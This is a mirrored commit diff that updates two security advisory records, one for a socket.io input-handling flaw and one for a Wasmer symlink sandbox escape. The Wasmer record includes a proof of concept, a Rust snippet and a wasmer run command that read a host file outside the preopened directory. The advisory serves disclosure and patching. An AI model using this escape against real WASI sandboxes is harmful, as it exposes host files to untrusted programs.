mirror of
https://github.com/netbirdio/advisory-database.git
synced 2026-05-22 18:04:22 -07:00
Publish Advisories
GHSA-25hc-qcg6-38wj GHSA-55f3-3qvg-8pv5
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"schema_version": "1.4.0",
|
||||
"id": "GHSA-25hc-qcg6-38wj",
|
||||
"modified": "2024-06-19T18:38:19Z",
|
||||
"modified": "2024-06-20T14:14:51Z",
|
||||
"published": "2024-06-19T15:04:41Z",
|
||||
"aliases": [
|
||||
"CVE-2024-38355"
|
||||
@@ -66,6 +66,10 @@
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-25hc-qcg6-38wj"
|
||||
},
|
||||
{
|
||||
"type": "ADVISORY",
|
||||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38355"
|
||||
},
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115"
|
||||
@@ -81,11 +85,12 @@
|
||||
],
|
||||
"database_specific": {
|
||||
"cwe_ids": [
|
||||
"CWE-20",
|
||||
"CWE-754"
|
||||
],
|
||||
"severity": "HIGH",
|
||||
"github_reviewed": true,
|
||||
"github_reviewed_at": "2024-06-19T15:04:41Z",
|
||||
"nvd_published_at": null
|
||||
"nvd_published_at": "2024-06-19T20:15:11Z"
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"schema_version": "1.4.0",
|
||||
"id": "GHSA-55f3-3qvg-8pv5",
|
||||
"modified": "2024-06-19T18:38:48Z",
|
||||
"modified": "2024-06-20T14:14:38Z",
|
||||
"published": "2024-06-07T19:40:00Z",
|
||||
"aliases": [
|
||||
"CVE-2024-38358"
|
||||
@@ -9,7 +9,10 @@
|
||||
"summary": "Symlink bypasses filesystem sandbox",
|
||||
"details": "### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n └── dir\n └── file -> ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n unsafe {\n let filefd = wasi::path_open(\n 5,\n wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n \"app/dir/file\",\n wasi::OFLAGS_CREAT,\n wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n 0,\n 0,\n )\n .unwrap();\n eprintln!(\"filefd: {filefd}\");\n\n let mut buf = [0u8; 10];\n let iovs = [wasi::Iovec {\n buf: buf.as_mut_ptr(),\n buf_len: buf.len(),\n }];\n\n let read = wasi::fd_read(filefd, &iovs).unwrap();\n\n eprintln!(\"read {read}: {}\", String::from_utf8_lossy(&buf));\n }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.\n\n",
|
||||
"severity": [
|
||||
|
||||
{
|
||||
"type": "CVSS_V3",
|
||||
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
|
||||
}
|
||||
],
|
||||
"affected": [
|
||||
{
|
||||
@@ -37,6 +40,10 @@
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5"
|
||||
},
|
||||
{
|
||||
"type": "ADVISORY",
|
||||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38358"
|
||||
},
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662"
|
||||
@@ -53,6 +60,6 @@
|
||||
"severity": "LOW",
|
||||
"github_reviewed": true,
|
||||
"github_reviewed_at": "2024-06-07T19:40:00Z",
|
||||
"nvd_published_at": null
|
||||
"nvd_published_at": "2024-06-19T20:15:11Z"
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user